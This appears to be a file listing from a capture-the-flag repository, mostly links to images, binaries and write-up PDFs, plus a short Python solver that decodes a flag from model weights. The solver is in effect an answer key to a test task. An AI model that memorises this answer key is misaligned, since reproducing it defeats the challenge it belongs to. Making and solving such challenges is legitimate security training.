https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/htb.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/javascript-file-loaded.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/javascript-file-loaded.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/second-stage-decrypted-unbeautified.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/second-stage-decrypted-unbeautified.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/setup-listener.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/setup-listener.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/assets/website.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/website.png
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/build-docker.bat:
--------------------------------------------------------------------------------
1 | SET NAME=tales_for_the_brave
2 | docker rm -f forensics_%NAME%
3 | docker build --tag=forensics_%NAME% .
4 | docker run -p 1337:80 --rm --name=forensics_%NAME% --detach forensics_%NAME%
5 | pause
--------------------------------------------------------------------------------
/forensics/Tales for the Brave/requirements.txt:
--------------------------------------------------------------------------------
1 | pymagi
--------------------------------------------------------------------------------
/forensics/Thorins Amulet/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Thorins Amulet/assets/banner.png
--------------------------------------------------------------------------------
/forensics/Thorins Amulet/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Thorins Amulet/assets/htb.png
--------------------------------------------------------------------------------
/forensics/ToolPie/assets/Screenshot 2025-02-27 at 5.05.06 PM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/Screenshot 2025-02-27 at 5.05.06 PM.png
--------------------------------------------------------------------------------
/forensics/ToolPie/assets/Screenshot 2025-03-04 at 3.48.45 PM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/Screenshot 2025-03-04 at 3.48.45 PM.png
--------------------------------------------------------------------------------
/forensics/ToolPie/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/banner.png
--------------------------------------------------------------------------------
/forensics/ToolPie/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/htb.png
--------------------------------------------------------------------------------
/forensics/ToolPie/assets/http.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/http.png
--------------------------------------------------------------------------------
/forensics/ToolPie/assets/malicious_traffic.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/malicious_traffic.png
--------------------------------------------------------------------------------
/forensics/ToolPie/assets/normal_http.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/normal_http.png
--------------------------------------------------------------------------------
/forensics/ToolPie/assets/pdf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/pdf.png
--------------------------------------------------------------------------------
/forensics/ToolPie/assets/post_http.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/post_http.png
--------------------------------------------------------------------------------
/forensics/ToolPie/assets/wireshark_stats.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/wireshark_stats.png
--------------------------------------------------------------------------------
/machine_learning/ml_crystal_corruption/assets/pic1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_crystal_corruption/assets/pic1.png
--------------------------------------------------------------------------------
/machine_learning/ml_crystal_corruption/assets/pic2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_crystal_corruption/assets/pic2.png
--------------------------------------------------------------------------------
/machine_learning/ml_crystal_corruption/assets/pic3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_crystal_corruption/assets/pic3.png
--------------------------------------------------------------------------------
/machine_learning/ml_enchanted_weights/htb/solver.py:
--------------------------------------------------------------------------------
1 | import torch
2 |
3 | model = SecretModel()
4 | model.load_state_dict(torch.load("eldorian_artifact.pth"))
5 |
6 | # Extract the diagonal weights
7 | weights = model.hidden.weight.detach().numpy()
8 | print(weights)
9 | ascii_values = weights.diagonal().astype(int)
10 |
11 | # Decode ASCII to characters
12 | flag = ''.join(chr(x) for x in ascii_values)
13 | print("Flag:", flag)
--------------------------------------------------------------------------------
/machine_learning/ml_malakars_deception/assets/pic1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_malakars_deception/assets/pic1.png
--------------------------------------------------------------------------------
/machine_learning/ml_malakars_deception/assets/pic2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_malakars_deception/assets/pic2.png
--------------------------------------------------------------------------------
/machine_learning/ml_reverse_prompt/assets/pic1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_reverse_prompt/assets/pic1.png
--------------------------------------------------------------------------------
/machine_learning/ml_wasteland/htb/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_wasteland/htb/.DS_Store
--------------------------------------------------------------------------------
/prompt_injection/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/.DS_Store
--------------------------------------------------------------------------------
/prompt_injection/ai-cursed-gatekeeper/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/.DS_Store
--------------------------------------------------------------------------------
/prompt_injection/ai-cursed-gatekeeper/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | idea.md
3 | test/
--------------------------------------------------------------------------------
/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/2025-02-01-04-47-45.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/2025-02-01-04-47-45.png
--------------------------------------------------------------------------------
/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/2025-02-01-04-49-38.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/2025-02-01-04-49-38.png
--------------------------------------------------------------------------------
/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/2025-02-01-04-51-07.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/2025-02-01-04-51-07.png
--------------------------------------------------------------------------------
/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/application-ui.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/application-ui.png
--------------------------------------------------------------------------------
/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/prompt-injection.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/prompt-injection.webp
--------------------------------------------------------------------------------
/prompt_injection/ai-cursed-gatekeeper/official_writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/official_writeup.pdf
--------------------------------------------------------------------------------
/prompt_injection/ai-elixir-emporium/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | idea.md
3 | test/
--------------------------------------------------------------------------------
/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-29.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-29.png
--------------------------------------------------------------------------------
/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-31.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-31.png
--------------------------------------------------------------------------------
/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-32.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-32.png
--------------------------------------------------------------------------------
/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-37.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-37.png
--------------------------------------------------------------------------------
/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-40.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-40.png
--------------------------------------------------------------------------------
/prompt_injection/ai-elixir-emporium/images/official_writeup/ai-prompt-flow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/ai-prompt-flow.png
--------------------------------------------------------------------------------
/prompt_injection/ai-elixir-emporium/images/official_writeup/application-ui.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/application-ui.png
--------------------------------------------------------------------------------
/prompt_injection/ai-elixir-emporium/images/official_writeup/prompt-injection.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/prompt-injection.webp
--------------------------------------------------------------------------------
/prompt_injection/ai-elixir-emporium/official_writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/official_writeup.pdf
--------------------------------------------------------------------------------
/prompt_injection/ai-embassy-ai/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | idea.md
3 | test/
--------------------------------------------------------------------------------
/prompt_injection/ai-embassy-ai/images/official_writeup/2025-01-02-21-59-42.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/images/official_writeup/2025-01-02-21-59-42.png
--------------------------------------------------------------------------------
/prompt_injection/ai-embassy-ai/images/official_writeup/2025-01-03-01-24-51.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/images/official_writeup/2025-01-03-01-24-51.png
--------------------------------------------------------------------------------
/prompt_injection/ai-embassy-ai/images/official_writeup/2025-03-16_03-51.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/images/official_writeup/2025-03-16_03-51.png
--------------------------------------------------------------------------------
/prompt_injection/ai-embassy-ai/images/official_writeup/application-ui.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/images/official_writeup/application-ui.png
--------------------------------------------------------------------------------
/prompt_injection/ai-embassy-ai/images/official_writeup/prompt-example.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/images/official_writeup/prompt-example.png
--------------------------------------------------------------------------------
/prompt_injection/ai-embassy-ai/images/official_writeup/prompt-injection.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/images/official_writeup/prompt-injection.webp
--------------------------------------------------------------------------------
/prompt_injection/ai-embassy-ai/official_writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/official_writeup.pdf
--------------------------------------------------------------------------------
/prompt_injection/ai-lunar-orb/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | idea.md
3 | test/
--------------------------------------------------------------------------------
/prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-25-35.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-25-35.png
--------------------------------------------------------------------------------
/prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-27-03.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-27-03.png
--------------------------------------------------------------------------------
/prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-28-30.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-28-30.png
--------------------------------------------------------------------------------
/prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-29-11.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-29-11.png
--------------------------------------------------------------------------------
/prompt_injection/ai-lunar-orb/images/official_writeup/application-ui.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/images/official_writeup/application-ui.png
--------------------------------------------------------------------------------
/prompt_injection/ai-lunar-orb/images/official_writeup/prompt-injection.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/images/official_writeup/prompt-injection.webp
--------------------------------------------------------------------------------
/prompt_injection/ai-lunar-orb/official_writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/official_writeup.pdf
--------------------------------------------------------------------------------
/prompt_injection/ai-mirror-witch/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | idea.md
3 | test/
--------------------------------------------------------------------------------
/prompt_injection/ai-mirror-witch/images/official_writeup/2025-01-21-03-13-25.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-mirror-witch/images/official_writeup/2025-01-21-03-13-25.png
--------------------------------------------------------------------------------
/prompt_injection/ai-mirror-witch/images/official_writeup/2025-01-21-03-15-20.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-mirror-witch/images/official_writeup/2025-01-21-03-15-20.png
--------------------------------------------------------------------------------
/prompt_injection/ai-mirror-witch/images/official_writeup/2025-01-21-03-18-17.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-mirror-witch/images/official_writeup/2025-01-21-03-18-17.png
--------------------------------------------------------------------------------
/prompt_injection/ai-mirror-witch/images/official_writeup/application-ui.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-mirror-witch/images/official_writeup/application-ui.png
--------------------------------------------------------------------------------
/prompt_injection/ai-mirror-witch/images/official_writeup/prompt-injection.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-mirror-witch/images/official_writeup/prompt-injection.webp
--------------------------------------------------------------------------------
/prompt_injection/ai-mirror-witch/official_writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-mirror-witch/official_writeup.pdf
--------------------------------------------------------------------------------
/pwn/[Easy] Crossbow/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Crossbow/assets/banner.png
--------------------------------------------------------------------------------
/pwn/[Easy] Crossbow/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Crossbow/assets/htb.png
--------------------------------------------------------------------------------
/pwn/[Easy] Crossbow/assets/interface.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Crossbow/assets/interface.png
--------------------------------------------------------------------------------
/pwn/[Easy] Crossbow/htb/crossbow:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Crossbow/htb/crossbow
--------------------------------------------------------------------------------
/pwn/[Easy] Laconic/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Laconic/assets/banner.png
--------------------------------------------------------------------------------
/pwn/[Easy] Laconic/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Laconic/assets/htb.png
--------------------------------------------------------------------------------
/pwn/[Easy] Laconic/htb/laconic:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Laconic/htb/laconic
--------------------------------------------------------------------------------
/pwn/[Hard] Vault/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Hard] Vault/assets/banner.png
--------------------------------------------------------------------------------
/pwn/[Hard] Vault/assets/crash1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Hard] Vault/assets/crash1.png
--------------------------------------------------------------------------------
/pwn/[Hard] Vault/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Hard] Vault/assets/htb.png
--------------------------------------------------------------------------------
/pwn/[Hard] Vault/assets/one_gadget.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Hard] Vault/assets/one_gadget.png
--------------------------------------------------------------------------------
/pwn/[Hard] Vault/assets/rbp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Hard] Vault/assets/rbp.png
--------------------------------------------------------------------------------
/pwn/[Medium] Contractor/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Contractor/assets/banner.png
--------------------------------------------------------------------------------
/pwn/[Medium] Contractor/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Contractor/assets/htb.png
--------------------------------------------------------------------------------
/pwn/[Medium] Contractor/assets/interface.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Contractor/assets/interface.png
--------------------------------------------------------------------------------
/pwn/[Medium] Contractor/htb/contractor:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Contractor/htb/contractor
--------------------------------------------------------------------------------
/pwn/[Medium] Contractor/htb/flag.txt:
--------------------------------------------------------------------------------
1 | HTB{dummy}
2 |
--------------------------------------------------------------------------------
/pwn/[Medium] Contractor/htb/glibc/ld-linux-x86-64.so.2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Contractor/htb/glibc/ld-linux-x86-64.so.2
--------------------------------------------------------------------------------
/pwn/[Medium] Contractor/htb/glibc/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Contractor/htb/glibc/libc.so.6
--------------------------------------------------------------------------------
/pwn/[Medium] Strategist/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/assets/banner.png
--------------------------------------------------------------------------------
/pwn/[Medium] Strategist/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/assets/htb.png
--------------------------------------------------------------------------------
/pwn/[Medium] Strategist/assets/interface.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/assets/interface.png
--------------------------------------------------------------------------------
/pwn/[Medium] Strategist/assets/vis1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/assets/vis1.png
--------------------------------------------------------------------------------
/pwn/[Medium] Strategist/htb/glibc/ld-linux-x86-64.so.2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/htb/glibc/ld-linux-x86-64.so.2
--------------------------------------------------------------------------------
/pwn/[Medium] Strategist/htb/glibc/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/htb/glibc/libc.so.6
--------------------------------------------------------------------------------
/pwn/[Medium] Strategist/htb/strategist:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/htb/strategist
--------------------------------------------------------------------------------
/pwn/[Very Easy] Blessing/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Blessing/assets/banner.png
--------------------------------------------------------------------------------
/pwn/[Very Easy] Blessing/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Blessing/assets/htb.png
--------------------------------------------------------------------------------
/pwn/[Very Easy] Blessing/assets/inter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Blessing/assets/inter.png
--------------------------------------------------------------------------------
/pwn/[Very Easy] Blessing/htb/blessing:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Blessing/htb/blessing
--------------------------------------------------------------------------------
/pwn/[Very Easy] Blessing/htb/glibc/ld-linux-x86-64.so.2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Blessing/htb/glibc/ld-linux-x86-64.so.2
--------------------------------------------------------------------------------
/pwn/[Very Easy] Blessing/htb/glibc/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Blessing/htb/glibc/libc.so.6
--------------------------------------------------------------------------------
/pwn/[Very Easy] Quack Quack/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Quack Quack/assets/banner.png
